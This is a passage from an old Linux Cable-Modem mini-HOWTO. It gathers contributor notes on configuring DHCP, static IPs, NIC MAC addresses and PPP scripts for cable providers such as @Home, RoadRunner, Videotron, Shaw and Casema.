Also, they are handing out fixed IP addresses, at least in Connecticut, and you can get up to three. (They charge $4.95/mo for each extra IP address they allocate) They make no requirements on the OSes on these extra machines--I've a Vax running VMS and they didn't bat an eye when I signed it up. They did want the initial machine to be something they recognized (I booted over to Win98 for the duration) but they would've handled a linux-only install if really, *really* pressed

3.2.6. Notes from Dallas, TX or anyone using Motorola CyberSurfr

If you have a Motorola CyberSurfr cable modem you will need to press the reset key on the back of the modem if you switch network cards. The ethernet card hardware address is read by the modem and once it is setup if the card is switched it must be reset.Just press the reset key for 10+ seconds and it will reread.

If you are still not able to get your cable connection going check out mini-HOWTO for cable modems and Cox@Home at http://www.kernel-panic.com/user_files/cox.at.home.html

Update from James Stormes <jstormes@gtfcu.com>

@Home has been upgrading the cable modem system in Bedford Texas (the area around Dallas Texas). I have found that with the new system your NIC's MAC address must match what the cable system has. That is the Linux system you plug into the cable modem must use the same MAC that is programmed into the board you got from @Home. I use two diffrent computers on the cable modem (Linux and Windows) so this was a problem.

For some NIC drivers you can specify the MAC. For example in n REDHAT 6.1 in the /etc/sysconfig/network-scripts/ifcfg-eth0 you can add the line MACADDR="0F4F3E54A659". Where eth0 is the NIC card attached to the cable modem and the 0F4F3E54A659 is the MAC that the cable modem system is expecting.

3.2.7. Notes from Louisville, KY by Devin Bundrent <mrscoobdoo@home.com>

As of now, @Home/Insight issues Realtek RTL8029(AS) PCI Ethernet NICs, and Static IP addresses. In addition, the customers of the service are given(by default, others can be bought, and used) the RCA DCM105 Digital Cable Modem, without utilities disk.

3.2.8. Notes from Madison, WI and Lakeridge, VA

I have a cable modem from Bresnan in madison wi, they use the @home network for internet trafic and supply there users with the RCA cable modems. In the howto it states that the -h flag should be used for the host name with dhcpcd. That didn't work for me. They provided me with a machine name of cb46597-a.mdsn1.wi.home.com, the cd46597-a obviously being my hosts name.... anyway.. the flag I had to use to get dhcpcd working was the -I flag for ClientID. ClientID is actually the MAC (Ethernet) address of your NIC e.g. 00:00:21:61:7C:F0.

3.2.9. Notes from Baton Rouge, LA by Van Goodwin <positron@redstroke.com>

Here, @Home doesn't seem to have a standard ethernet card. They gave me a "SMC EtherEZ" ISA card, but I've seen them install totally different cards in other systems. The installer told me they gave static IP addresses to people who use Windows NT and dynamic to everyone else. Don't ask me why.

3.2.10. Notes from Richmond, VA and its surroundings by Robert Marshall <no_robmars_spam@yahoo.com>

In Chesterfield County, Virginia (a suburb of Richmond), @Home offers cable modem service through the local cable provider, Comcast. The service runs very well with Linux. As with many @Home locations, IP addresses are assigned via dhcp, and they require that all dhcp request packets contain the user's @Home-assigned hostname. The dhcpcd package works well for this, using the -h parameter. Personal best download - 16Mbytes in 54 seconds.

In Henrico County, Hanover County, and the city of Richmond, Virginia, MediaOne is offerring their Road Runner service. IP addresses are assigned using dhcp, but are exclusively reserved by MAC address. This requires that the user call MediaOne support if the MAC address attached to the cable modem ever changes. The MediaOne people refused to re-register my friend's new MAC address when he told them that he had purchased a personal firewall from NetGear. They even tried to insist that he purchase commercial service, even though he was only going to have one PC connected to the service. Thus, I strongly agree with your wording in the HOWTO that MediaOne customers carefully avoid mentioning the words "router", "firewall", or "Linux".

3.2.11. Notes from Mobile, Alabama R. Jason Valentine <miracle@procyon.com>:

In Mobile, Comcast cable provides cable modem service through the @home network. An RCA cable modem (model DCM205) is issued along with a SMC EZ-Card (10/100) if you don't already have a cable modem.

Static IPs are not given, but rather assigned through DHCP. You need to make your ethernet card (eth*) use DHCP - linuxconf is the easiest way to set that up. Next, you'll need to find the following line in /sbin/ifup

-----------------------------------------------------------------
if [ -n "$PUMP" ]; then
     echo -n "Determining IP information for $DEVICE..."
     if /sbin/pump -i $DEVICE; then
         echo " done."
     else
         echo " failed."
         exit 1
     fi
 else ...
-----------------------------------------------------------------

and change it to

-----------------------------------------------------------------
if [ -n "$PUMP" ]; then
     echo -n "Determining IP information for $DEVICE..."
     if /sbin/pump -i $DEVICE -h YOURHOSTNAME; then
         echo " done."
     else
         echo " failed."
         exit 1
     fi
 else ...
-----------------------------------------------------------------

Where YOURHOSTNAME is the computer name (cc123456-a - or whatever yours may be.)

3.2.12. Notes from Auburn, Alabama by Andrew W. Jones <andywjones@home.com>

I would like to note that Auburn's @home service supports DHCP. If you simply issue `dhcpcd -h hostname` all your network settings are taken care of...

3.2.13. Notes from Santa Barbara, California by Tim Newsome <nuisance@DELETE_BEFORE_SENDINGcmu.edu>

My provider (Cox@Home, in Santa Barbara, CA) does the same thing as Notes from Hampton Roads VA, Phoenix AZ, Arlington TX and Champaign/Urbana IL. I'm using Debian, with dhclient version 2.0. I added the following line to my /etc/dhclient.conf: send host-name "cx803168-a"; Where cx803168-a is the hostname I've been assigned. It is listed on the purchase order.

Information about @Home Service can be found at http://www.home.com/.

3.2.14. Notes from Connecticut, USA

Information provided by John Cusick <JCusick@SPELLNET.com>.

In Hartford, Connecticut, TCI (now AT T) is issuing a Farallon PnP ISA Ethernet card. This card may be detected with the isapnp tools or jumpered. The info is on Farallon's website for this card. It is NE2000 compatible.

3.3. RoadRunner

RoadRunner is an Internet cable service provided by Excalibur Group (Time Warner). The hardware setup consists of a cable modem produced by Motorola and Toshiba which plugs into an ethernet card using a 10BaseT (UTP-45) cable. From what I can gather RR uses DHCP for IP assignment. In order to set up Linux to use DHCP you need to read the DHCP mini-HOWTO http://www.oswg.org/oswg-nightly/DHCP.html.

If this doesn't work out for you you should check out http://www.math.uakron.edu/RoadRunner/ for Akron, Ohio and http://people.qualcomm.com/karn/rr/index.html for San Diego, California. It might help solve your problem.

Another good site is http://www.vortech.net/rrlinux/.

One more thing that might be worth mentioning: you will need a Windows NT, 95, or 98 or Macintosh PC for the RoadRunner installers to configure the modem. It's not technically necessary, but they will insist, and will not install on a Linux system. It's also best not to mention the IPFW system while they're around.

Additional notes by Phil Baird <pjb@rocsoft.com> from Rochester, NY:

About getting hooked up initially. It is true the RR techs don't want to talk about Linux. However, they now offer us a "self-install" that is half the price ($50). Basically, they come out, run the cable, and make sure the signal gets to the modem. You must supply your own nic card and do the rest of the setup on your own.

Information about RoadRunner Service can be found at http://www.rr.com/.

3.4. Rogers@Home

The hardware setup consists of a cable modem produced by LanCity which plugs into an ethernet card using a 10BaseT (UTP-45) cable.

When the cable modem is installed by Rogers@Home technicians you are assigned a static IP address. They should also provide you with information on your subnet mask, router (gateway) numbers and DNS numbers.

If above doesn't help you can check out Randal Leavitt's <randal.leavitt@home.com> "Connection Notes" for Rogers@Home at http://members.home.net/randal.leavitt/CableModemConnectionNotes.html.

Notes from Greg Jacobs <gregjacobs@home.com>

They now only give out dynamic IP's. The techs says its pretty much fixed after first issue, they just want to use DHCP so any network changes on their end can just be 'pushed out' so to speak.

Also Make sure any cablemodem uses ensure they don't use a DHCP server on their cablemodem interface. The cable company gets very angry and often pull the plug then tell you ;).

Other information about Rogers@Home Service can be found at http://rogers.home.com/.

3.5. Sunflower Cablevision

This information is provided by Frank Wiles <admin@sunflower.com>:

In order to get online with Sunflower all you have to do is enable DHCP. DHCP mini-HOWTO ( http://www.oswg.org/oswg-nightly/DHCP.html) has instructions how to set up DHCP under Linux.

Also they should contact me at admin@sunflower.com for lawrence.ks.us domains

We use DOCSIS compliant modems now, not the old Zenth stuff.

3.6. Jones Intercable

This information is provided by Bob Kimble:

Jones Internet Cable supplies a Hybrid cable modem that connects to your machine / network via 10BaseT ethernet. They provide you with a static IP address for your machine, and another static IP address for the modem. The modem acts as a gateway to their network. Your IP address and the modem IP address are on the same network and have the same network mask (in my case 255.255.255.0 -- 24 bits). They also provide two DNS IP addresses which you enter into your configuration. I just entered the numbers when I installed Red Hat Linux 5 and it worked like a champ from the beginning. Since then I have configured my Linux machine to enable IP masquerading and domain name services, and it now acts as a router for my entire private network. My other machines are connected via a private network using the addresses 192.168.0.x. They are running Windows 95, Windows NT (Intel and Alpha) and OS/2. My Linux machine has two IP addresses -- the one from the cable company and one from the 192.168.0.x private network. Everything works like a champ. All six machines can browse the web simultaneously. My kids are even able to connect to their favorite game site, "The Realm" from Sierra.

3.7. GTE Worldwind

This information is provided by Blake R. Swopes (bhodi@bigfoot.com):

GTE WorldWind service is available in only a few areas (parts of California and Florida), its home page is located at http://www.gtecablemodem.com/.

GTE will send a technician out to hook up the cable modem to the wall, but does not do any configuration of your computer. The cable you hook up to your computer is the ethernet standard 10baseT (and you'll probably need to buy your own, since the one they left with me was only about two feet long).

The technician should leave you some information about configuring your system (IP address, gateway address, netmask, DNS addresses) and the number for GTE's support line (1-800-GTE-VIDEO, since WorldWind is attached to GTE's Americast cable service). If you have read the Ethernet-HOWTO and the DHCP mini-HOWTO, you should have no trouble configuring your system to work with WorldWind.

GTE provides one e-mail address, which they assign to you, but you can create aliases to that account and web mail accounts through gte.net.

According to GTE, they block inbound traffic on several ports for security purposes and to keep people from running servers that will eat into other users' bandwidth (e.g., telnet, DNS, News, and Netbios (Good news for Windows users)). In actual practice, I have found that I was able to telnet into my system from remote hosts.

GTE does not provide technical support for Linux users, so you will pretty much be on your own. My experience was that as soon as I mentioned Linux, they tried to get me off the phone, but that might have been the particular tech I was speaking to at the time.

GTE also advised me that they do not support users who have IBM Aptivas, however I was able to briefly connect an IBM Aptia 2176-C77 with a SOHOWare PCI 10/100 Ethernet Card to the service with no trouble at all.

I regularly test my connection speed through the bandwidth test at MSN ( http://computingcentral.msn.com/topics/bandwidth/speedtest.asp and regularly find my connection speed to be between 320-390Kbps. Depending on the site, I have seen transfers at up to 135K, though the average is probably 35-45.

3.8. SpeedChoice, Phoenix, Arizona

According to Micah <peenchee@asu.edu>:

Just thought I'd let you know that in my area (Phoenix, AZ, usa) there is a company called speedchoice that provides cable modem service. The service uses a hybrid cable modem and the set up is almost identical to that of Jones intercable described in the howto. See Jones Intercable. For any other issues mail Micah.

3.9. Cedar Falls Utilities Cybernet, Cedar Falls, Iowa

This information is provided thanks to Joe Breu <breu@cfu.net>

We are an ISP in Cedar Falls, Iowa that uses a mix of Zenith, Lancity, and DOCSIS Cable Modems over our own Hybrid Fiber/Coax system. Our system uses no proprietary connection software and is straight TCP/IP connections. We do use DHCP, but will offer static IP addresses to customers with older Macintosh machines or computers unable to use DHCP. We will answer basic questions if you want to hook up a Linux box to our network but it should be drop and surf.

3.10. Telstra Big Pond Advance, Australia

This information is provided by Mike Battersby <mib@post.com>

Linux is not an officially supported platform for Telstra Big Pond Advance cable internet. Do not report faults regarding Big Pond Advance and Linux to them, as they will not help you.

Big Pond Advance user Shane Hyde wrote an excellent open source BIDS v2 login client, BPALogin, which is now maintained by David Parrish. The BPALogin web site is: http://bpalogin.sourceforge.net/. Available at the same site is a page of instructions on getting BPALogin to work with Linux: http://bpalogin.sourceforge.net/tutorial.html .

3.11. Fibertel, Buenos Aires, Argentina

This information is provided by Pablo Godel.

My name is Pablo Godel and want report that I'm using the cable service of Fibertel in Buenos Aires, Argentina and it works perfectly with Linux.

They gave me a static IP. The brand of the cablemodem is COM21 and the model is ComPort.

I connect it to the nic properly, configured in Linux and it worked perfectly.

Update by Albert Claret <albert.claret@fibertel.com.ar>:

Besides the static IP/COM21 cablemodem setup you already list in the HOWTO, the company is also providing a DHCP/motorola surfboard cablemodem service, and AFAIK, they are planning to remove all of the static IP cablemodems and replace them. As far as the setup for the dhcp/motorola, just firing your plain old DHCP client will get you up and running without any problems. At present time, there are no ports filtered by them.

More information about Fibertel can be found at http://www.fibertel.com.ar.

3.12. Videotron (Videon), Canada

I don't have much information about Videotron except the fact that they use DHCP for the assignment of IP addresses and other networking information. Just read the DHCP mini-HOWTO and configure your system appropriately. There is no other necessary configuration. Also important thing to note is that the Ethernet card that Videotron distributes is a NE2000 compatible PCI card for which you need to use.

ne2k-pci driver

Additional information from Philip Gwyn <gwynp@artware.qc.ca>:

They use Motorola CyberSURFR (sic) modems. This will give you an ethernet NIC when you sign up. They gave me a TMC NE2000 PCI clone, which Linux recognises as a "RealTek RTL-8029". It couldn't configure it propperly however, until I downloaded the manufacturer's driver disk and changed the media type to "auto-config".

While they can't guarantee to get it working with Linux, they will do a bit of hand holding so it works. Many of the tech-support have Linux-clues, as it were, even asking questions like "what kernel are you running?" "do you have the latest version of dhcpcd?". When their DHCP server broke, they even suggested I delete the cache files in /etc/dhcpcd to start over from zero, as it were. This worked.

Additional information from Mihai Petre <mihaip@videotron.ca>:

Yes they are using DHCP for the tcp settings. You can also try posting your problems on news.powersurfr.com newsgroup videon.linux.

As far as running servers using your cable connection according to Alex Nuta says that "contract explicitly states that *no* servers of any kind are permitted; HTTP, FTP or otherwise".

Additional information from Stasnilav Kogan <s_kogan@alcor.concordia.ca>:

The modem they provide is now Samsung InfoRanger (SCM-100R). The ISA card they provide is an SMC NE2000 compatible (FCC ID: HED1661EN2). It is necessary to configure the card from DOS to NE2000 mode before attempting to get it to work under Linux. (Generally, this card is horrible. I replaced with a 3Com card as soon as possible).

The technical support in Videotron is absolutely HORRIBLE. (Not to mention Linux support). So, whoever signs up with them, should expect to work alone. However, aside from the NIC problems, the setup was a breeze. They use DHCP, so all the standard procedures apply.

Information provided by John Brzustowski

The following bash-style shell script, run as root, was sufficient for me to get connected. In my case, it is a fragment from /etc/pcmcia/network but you could equally place it by itself in /etc/init.d and link to it from /etc/rc2.d, possibly deleting some of the network init scripts already there.

#!/bin/bash

DEVICE=eth0

# In the following XXXXXXXX represents the 8-digit serial number
# affixed to the underside of the Motorola CyberSURFR modem.
# It is the same number the person who installed my cable link had
# to phone in to the central office for activation.
# (Substitute your actual number, of course.)

SERIAL_NUM=XXXXXXXX
/sbin/ifconfig $DEVICE up 0.0.0.0
/sbin/route add default dev $DEVICE
rm /etc/dhcpc/dhcp*

# I'm not sure both the -h and the -I flags are required, but
# this works for me.

/sbin/dhcpcd -h $SERIAL_NUM -I $SERIAL_NUM $DEVICE
. /etc/dhcpc/dhcpcd-$DEVICE.info

It is also a good idea to set a hostname using the Hostname page available via http://home.powersurfr.com/Customers/index.cgi Your dhcpcd client will receive this hostname from Videon's server. Some linux mail set-ups require a legitimate hostname in order to work.

Information about Videotron can be found at http://www.videotron.ca.

3.13. Telekabel (Teleweb), Austria

There are two approaches to setting up your Telekabel connection. First one is the approach used by Andreas Kostyrka:

  • You may want to mention, that the Austrian Telekabel (Teleweb) ISP works with Linux. It seems quite similiar like MediaOne Express (3c509+dhcp, etc.)

  • Second there are 3COM configuration utilities for Linux (But don't fool around with them on a busy system, 3c509 may lock the bus if touched the wrong way :( ):

    • ftp://ftp.redhat.com/pub/contrib/hurricane/SRPMS/3c5x9utils-1.0-3.src.rpm

    • ftp://ftp.redhat.com/pub/contrib/readmes/3c5x9utils-1.0-1.README

Second approach is provided by Marcel Ebmer <marcel.ebmer@chello.at>

  • Do NOT bother using dhcpcd or pump!

  • In case you don't know, ask the provider for your IP-address, which is static, for the DNSs, the Gateway and use linuxconf to configure the network. For Vienna: 960 60 333 is the helpdesk's telephone number They officially do not support linux, but you need not mention you are running linux.

  • Choose a unique name for your PC....not "localhost"

Information about Telekabel can be found at http://www.telekabel.at/.

3.14. Shaw Cable, Canada

According to Peng F. Mok <pmok@shaw.wave.ca>:

I recently signed up for a cable modem service from Shaw Cable here in Canada, which runs under Shaw@Home brand. Shaw has been upgrading their cable network for about a year and a half now, and now offer cable-modem service to a number of locations across Canada. Information about the `Shaw@Home' service can be found at http://shaw.home.com General information about Shaw Cable can be found at http://www.shaw.ca.

I thought I'd just drop you a line to inform you that your DHCP mini-HOWTO, was very useful in helping me set up Linux to work with my cable-modem service, and that you might want to add `Shaw@Home' to your Cable-Modem mini-HOWTO as another entry. I don't have specific information on the `Shaw@Home' service yet, but from conversations I've had with Shaw technical support it seems that `Shaw@Home' is a partnership with @Home and involves the same features and setup procedure as that already described for @Home in the Cable-Modem mini-HOWTO document.

In both services Shaw Cable techs will come over and bring you two pieces of hardware -- a Motorola CyberSURFR cable-modem and either a 3Com EtherLink III 16-Bit ISA 3C509B-TPO NIC or an EtherLink XL PCI 3C900-TPO NIC. You have your choice of either an ISA or a PCI card depending on your needs, and these models only have the RJ-45 (UTP) connectors. The ISA cards come with PnP-mode enabled by default, so it may be necessary to boot into DOS, disable PnP operation, and configure the card to some base I/O address and IRQ setting which are available. Once this is done Linux should have no problems detecting the NIC at boot-time. I'm not sure about what needs to be done in the case of a PCI card since I don't currently have a PC which supports either PCI or PnP.

Note from another user:

Shaw now also issues SMC PCI ethernet cards. They give these out without boxes or manuals. I found out that these are the SMC EtherPower PCI RJ45 card (model 8432T). They use the DEC 21041 chip so the tulip ethernet driver is needed for it.

If you need to set up your POP3 mailboxes you can do that at following URL: https://profile.home.net/Users/menu.htm and you can login and setup the POP3 mailboxes that way.

Oh, and for the record, Shaw's technical support is horrendous. The best place to go for information is the athome.users-unix newsgroup (which is not even mentioned by any of the documentation) or please consult http://www.ee.ualberta.ca/~pmok/linux/.

Information provided by Eric De Schepper:

Shaw Cable Winnipeg provides the user with either a 3Com EtherLink III 16-Bit ISA 3C509B-TPO NIC or an EtherLink XL PCI 3C900-TPO (depending on which slot(s) you have available) and a Terayon TeraPro Cablemodem ( http://www.terayon.com/tools/products/view.html?phase=show&id=973669299&famid=973595996&cat_id=9.4.1 ). You have to disable PNP on the NIC's - Shaw gives a static IP via DHCP.

3.15. Cogeco Cable, Canada

This information is provided thanks to Sean O'Grady <sean@incisive.dhs.org>:

I have a Cable Modem through a company called Cogeco Cable located in various parts of Canada. They are part of the "Wave" system which includes Rogers Cable and Shaw Cable. The technical setup is different for each provider though. They supplied me with a D-Link ethernet card (the version of that has changed since then but I believe are still using D-Link) and a Zenith modem. The Ip setup is easy since they use DHCP so all I did was install the DHCP daemon and that was that. If you like you can list my e-mail address <togrady@cgocable.net> for anyone with questions.

I contacted you awhile ago with information regarding setting up a cable modem under Cogeco (the mail came from togrady@cgocable.net). Well I have some updates to give you. Cogeco has now joined the @HOME network although I haven't seen anything good come out of yet. The modems have changed as well, instead of the old Zenith modems we now are using a Samsung InfoRanger SCM-100R modem. The modem changed has not affected the ease of setting up Linux with the cable modem. All that is still required is a functioning network card and working DHCP client and you will be able to get the network functioning quickly. Many people send questions to me regarding various cable modem/dhcp/networking issues and as a result I have started to put together some help pages. The are located at http://incisive.dhs.org.

Additional info has been provided Craig Kossowski:

Cogeco seems to be slowly getting themselves sorted out wrt cable modems and is now part of the set of Canadian cable companies that have cooperated on the @Home network. A network card is provided as part of their large (but currently waived) hookup fee; the D-Link 528CT for PCI capable systems, and, I believe, D-Link 220T for ISA systems (and possibly PCI capable computers that will accept the ISA card, they tried it in my roommate's system first, only when that didn't work did they put in the PCI 528CT). I'd recommend asking for the PCI if you have the choice, as I know that setup can work with Linux from my experience.

Both of these are NE2000 boards to the best of my knowledge. I got the PCI D-Link 528CT which uses the RealTek 8029 chipset, and Linux can deal with easily. I just recompiled the kernel, and after a little hiccup due to RedHat 5.2's lilo default not looking for the kernel at /vmlinuz, I was up and running. DHCP (with a 24 hour lease lifetime) is used for IP resolution and everything worked automaticaly (I had selected a DHCP config when I installed Linux, others may need to do slightly more configuration, but it doesn't require anything non-standard). The 528 is supposedly plug & play, but I had no problems using it in my Linux box (2.0.34). Note that you need to compile in (either built in or module, I used built in) the PCI NE2k code, and unlike what is implied in the Ethernet HOWTO, you don't need to also include the ISA NE2000 code to use this chipset. I don't have experience with the ISA D-Link 220T, but I would assume it's just as easy to set up, it's listed as a supported card in the Ethernet HOWTO.

The Cable modem I got was a great heavy thing that looks like a heatsink for a small nuclear reactor. Nearly a square foot in desk space, made by LANcity, and I believe rated for 10Mbps shared bandwidth on the cable subset side of things, it has a reasonably good set of LEDs to show you what it's doing once you figure out what each one is. While throughput will obviously vary, I see transfer rates around 10kB/s (80kbit/s) and up during the day, to 50-60kB/s at night, when presumably thinks are quieter on the backbone. Subjectively, it's very fast, and beats even fast modems hands down. I haven't had it long enough to determine uptime yet, so I can't comment there.

At the time of this writing (Jan 99), Cogeco's service runs $150 for installation, including the card, and $39.99 a month for the service. They're currently waiving the modem rental fee "until they are available for purchase" but the information there is mixed from 15.04/month as of early 1999 (from the web page) to "not for some time" from their phone staff. Included with this is up to five email addresses, and 5MB of Web space. They also say there is a 1GB/month limit, though I'm told (by their tech support people) that this isn't strictly enforced, and is more to discourage ftp sites with high traffic bogging down the subnets, and to provide them with an avenue to prevent such. Although their literature doesn't say so, additional computers are an extra 10.70 a month, though unsupported, and you have to provide the hub, wiring and additional ethercards if you do this, they're basicly charging the extra for the lease of an additional IP as far as I can tell from their information.

3.16. Optimum Online, New York and Connecticut

This information is provided by Seth Greenfield <islesfan@nassau.cv.net>:

Optimum Online uses DHCP, and rrclientd in Linux, by John Clark. Check out http://www.netaxis.com/~wharris/optimum/index.html for instructions on how to set up your service with Linux.

Tell people who had private ips who have public ips now to change their /etc/resolv.conf to look like this...

domain nassau.cv.net (or optonline.net depenind on the users mood)
nameserver 167.206.112.3
nameserver 167.206.112.4

Other Than that its the same setup procedure note: the rrclientd software will work if you tell it dce-server and you specify the domain as optonline.net

3.17. Singapore Cable Vision, Singapore

This information is provided by Jieyao <jieyao@letterbox.com>:

SCV provides Motorola Cybersurfer modem connected to the network card via UTP cable. The IP setup is easy since they use DHCP so all you need to do is install the dhcp daemon. If you can't make access the first time, turn the modem off then on again.

3.18. Cable Wanadoo, France and Netherlands (formerly Casema)

This information is provided by Jerome Sautret <Jerome.Sautret@wanadoo.fr> and it applies to Wanadoo's French customers:

I just read your Cable Modem HOWTO. I live in France, and I use Cable Wanadoo, the cable service of France Telecom, which is the main telecom operator in France. It is available in a few cities in France at the moment, like Angers and Metz. This service provides a dynamic IP address via DHCP. It uses a COM 21 modem plugged in a 10BaseT Ethernet card. The IP setup is easy just read the DHCP mini HOWTO.

Information about Netherlands is provided by Costyn van Dongen <cvd@casema.net>:

The current Casema cable modems operate via the serial port, acting like normal modems, answering AT commands like phone modems. The setup is really very easy, because all the chat script needs to do is dial ATDT4. (this is in ppp-on-dialer). Hence it uses PPP, which is unusual for most cable modems.

Relevant files are included /etc/ppp/ppp-on

DIALER_SCRIPT=/etc/ppp/ppp-on-dialer
exec /usr/sbin/pppd -detach /dev/ttyS0 115200 connect $DIALER_SCRIPT &

/etc/ppp/ppp-on-dialer

exec /usr/sbin/chat -e '' AT '' ATDT4

/etc/ppp/ppp-off

#!/bin/sh
######################################################################
#
# Determine the device to be terminated.
#

sleep 5

if [ "$1" = "" ]; then
        DEVICE=ppp0
else
        DEVICE=$1
fi
#
######################################################################
#
# If the ppp0 pid file is present then the program is running. Stop it.
if [ -r /var/run/$DEVICE.pid ]; then
        kill -INT `cat /var/run/$DEVICE.pid`
#
# If the kill did not work then there is no process running for this
# pid. It may also mean that the lock file will be left. You may wish
# to delete the lock file at the same time.
        if [ ! "$?" = "0" ]; then
                rm -f /var/run/$DEVICE.pid
                echo "ERROR: Removed stale pid file"
                exit 1
        fi
#
# Success. Let pppd clean up its own junk.
        echo "PPP link to $DEVICE terminated."
        exit 0
fi
#
# The ppp process is not running for ppp0
echo "ERROR: PPP link is not active on $DEVICE"
exit 1

/etc/ppp/keepalive.sh

#!/bin/sh

# keepalive.sh

# This is a keepalive script for the Casema cable modems. This script was
# lifted from the /usr/doc/HOWTO/unmaintained/mini/Dynamic-IP-Hacks
# document. There should be an entry in your crontab looking like:
# */2 * * * * /etc/ppp/keepalive.sh
# to run this script every 2 minutes to see if your connection is still
# up, if not, gracefully kill the pppd process and remake it.
# Modify paths as necessary.

if [ -f /var/run/ppp0.pid ]; then
 ping -c4 -l3 195.96.96.97 2>&1 | grep "0 packets" > /dev/null && \
 { /etc/ppp/ppp-off > /dev/null 2>&1 ; sleep 2 ; /etc/ppp/ppp-on }
else
 /etc/ppp/ppp-on
fi

/etc/resolv.conf

search dynip.com
nameserver 195.96.96.97
nameserver 195.96.96.33

/etc/sysconfig/network (this file applies only to RedHat and Mandrake distributions, adapt accordingly for other distributions)

GATEWAYDEV=ppp0
GATEWAY=195.96.96.97

I've documented some things in the files themselves. The ppp-on script is called during boot time from /etc/rc.d/init.d/ppp and the ppp-off script during shutdown. The ppp-on-dialer is called from the ppp-on script. The keepalive script for keeping the connection alive as long as the computer is on (might as well, right?) is called from crontab (see the keepalive file for details). The /etc/sysconfig/network file specifies the default gateway for routing. The resolv.conf tells the computer which IP of casema.net to send DNS queries to (this is pretty standard across all unixes, I believe).

I've forgotten to include the /etc/ppp/pap-secrets which should be the same as the ExpressNet, Maryland, Maryland. There's also the question of the ip-up, ip-down. These however, didn't need to be changed. I've also included the options.ttyS0 file, which should be in /etc/ppp/ppp-on. It is read by the pppd daemon as it logs on. There are a couple options like defaultrouteadd that should be on. ttyS0 is the port where you install your modem mine is on COM1 == ttyS0. Change accordingly.

/etc/ppp/options.ttyS0

asyncmap 0
crtscts
defaultroute
lock
modem
name cvd

I received notice from Casema a couple days ago that they will be changing their name to wanadoo.nl. So you might, in your document, refer to both: "wanadoo.nl (formerly casema.net)" This will be happening as of Sept. 20th.

I will be happy to provide you with information and answer any more questions. I my explanations aren't Red Hat only. I haven't used other systems, so I can't judge. I hope this is useful to you.

3.19. Prime Cable Expressnet, Las Vegas, NV

This information is provided by jedi <jedi@penguin.lcvm.com>:

They use the Com21 which can either be connected directly to your 10baseT input or inserted into the downlink input on your router. Static IPs are available for $10 per month and the usual address assignment is through DHCP ( http://www.oswg.org/oswg-nightly/DHCP.html )

More information can be obtained from http://penguin.lvcm.com.

3.20. Chello Belgium, formerly TVD, Belgium

This information is provided by Pierre-Yves Keldermans <pykeldermans@usa.net>:

At home, my cable-TV company is "TVD", it is the first company to offer internet on the cable in Belgium.

  • Hardware : LanCity cable modem & 10-Base-T NIC ( DLink ISA if you buy it from TVD )

  • Config : DHCP ( http://www.oswg.org/oswg-nightly/DHCP.html )

  • Prices :

    • Cheap : for home use, real IP address but dynamic, DHCP expires every 10 min, 1 user only (theorically ... ), no problem with firewall, the web server on my computer is even reachable from outside..., full speed FROM internet, small speed TO internet.

    • Not so cheap : for small office use, same as 1) but not limited to 1 user and more speed TO internet.

    • Expensive : for WWW servers & ... , Static IP addresses and reserved bandwidth TO internet following price.

  • Speed :

    • From TVD's mirror site : up to 30Kbytes/sec, very nice ( and YES, they have some Linux mirrors like redhat ... :-) )

    • From internet : variable but rather good if the remote server isn't overloaded.

  • For more info : http://www.chello.be and http://www.upcbelgium.be/.

Note from another user:

TVD gives you an IP via DHCP and when it is activated they log the MAC-Address. So if you want to connect to the internet via another computer with another ethernetcard it won't work. You have to change your MAC-Address to the 1 that can connect. I just put somewhere in a startupscript :

ifconfig eth0 hw ether 00:23:56:74:25:12

This was not all, TVD gives some problems with pump in RedHat 6.2 but with DHCPcd 1.3 it works like a charm. (that dhcpcd is on the install cd in Redhat/rpms)

3.21. Telenet Vlaanderen, Belgium

This information provided by Karel Goderis <karel.goderis@pandora.be> and Kris Carlier <kris@iguana.be>:

  • Operator: Telenet Vlaanderen - Operatial in flemish speaking (northern) part of Belgium

  • Hardware: Motorola CyberSURFR Wave Cable Modem using an RJ-45 Ethernet straight cable to a PC

  • Software: Standard config is Windoze + Modified Netscape for newbie installations, although Linux i386 support is there under the form of mirrored redhat.com software on the internal ftp servers. A dedicated linux newsgroup is available for support. Most users depend on ipchains/ipfwadm in 2.2.x, or have a "Linux Router"-project implementation.

  • IP Setup: DHCP address assignment, single address only. Outgoing : all ports accepted, except mandatory use of Netscape Proxy on port 8080, and thus port 80 blocked. Incoming : ports 0-1024 blocked, but re-allocation of ports on Linux works fine.

  • Pricing: Installation is 8000,- BFr (~200US$), warranty of 2000,- BFr for the cablemodem (50$). They ask 50$ for a NIC if you don't have any, which is of course a ripoff, as you get them almost for free if you buy a hamburger these days. Monthly fee still is 1500,- BFr (37,5$)

    Optional: Telenet Internet + : here, you can install a HUB (which they'll sell you for 50$ if you don't have any). This way you can hook up up to 4 PC's to your connection. Higher installation price and about 1000,- BFr per PC per month extra.

    Telenet XL: standard, you can download up to 10 GB per month, 20% of that may be upload traffic. The XL costs 3500,- per month (88$), and you get 15 GB download. 2000,- BFr (50$) per extra 5 GB.

  • Services: redhat.com netscape.com mirrors, quake I and II servers, proxy (5 NetCAcHe proxies proxy[1-5].pandora.be:8080), mail relay and pop account with 10 MB mailbox (5 aliases) and the other usual stuff you need to survive on the net.

  • Caveats: Telenet states that you can download 300Mbytes/month, but this rule is not enforced unless there is a obvious abuse (i.e. you download 300Mbytes/*day* ;-) ).

    Till 2 weeks ago, the limits were only for external traffic. As they have mirrors of all kinds of things (tucows, freebsd, freethemes, allmacintosh, suse,...), and a proxy, the 2 GB per week they had before, counted only for external traffic, was OK. Now EVERYTHING is counted, including DHCP-traffic (30' leases), ARP, IGMP (they are experimenting with it so every 2' you get some traffic from them...)

    Blocked outgoing ports: apart from what Karel specified, 25 is also blocked, you have to use their mailserver. From time to time this beast seams to be pretty overloaded.

More info at http://www.pandora.be/ or http://www.telenet.be/.

3.22. Total-Web, United States

This information is provided by iota <iota@inaxx.net>:

I work for Convergence.com, a cable internet company who provides the network monitoring, technical support, and advice to cable providers (who, in turn, provide the internet service to their customers). Most of our markets are through Cablevision, one of the more popular cable providers in the eastern US. The service name that they operate their cable internet service under is "Total-Web". Customers are provided with a static IP; simply set this up like you would any other ethernet device under Linux. The modems we use are LanCity LCP's and COM21 ComPort's, but these devices should be transparent to your computer.

Total-Web is available in limited areas, including: Miami Beach, FL; Gwinnett County and Roswell, GA; Cookeville, Lebanon, and Columbia, TN; and many other test markets.

3.23. CyberCable, Paris, France

This information is provided by David Monniaux:

CyberCable gives you an ethernet card if you need one. It is a cheap NE2000 clone, ISA-Pnp or PCI I think. They only know how to set up the stuff for Windows, but reports from other people say that they let you use their access with other systems, provided you do the software setup yourself.

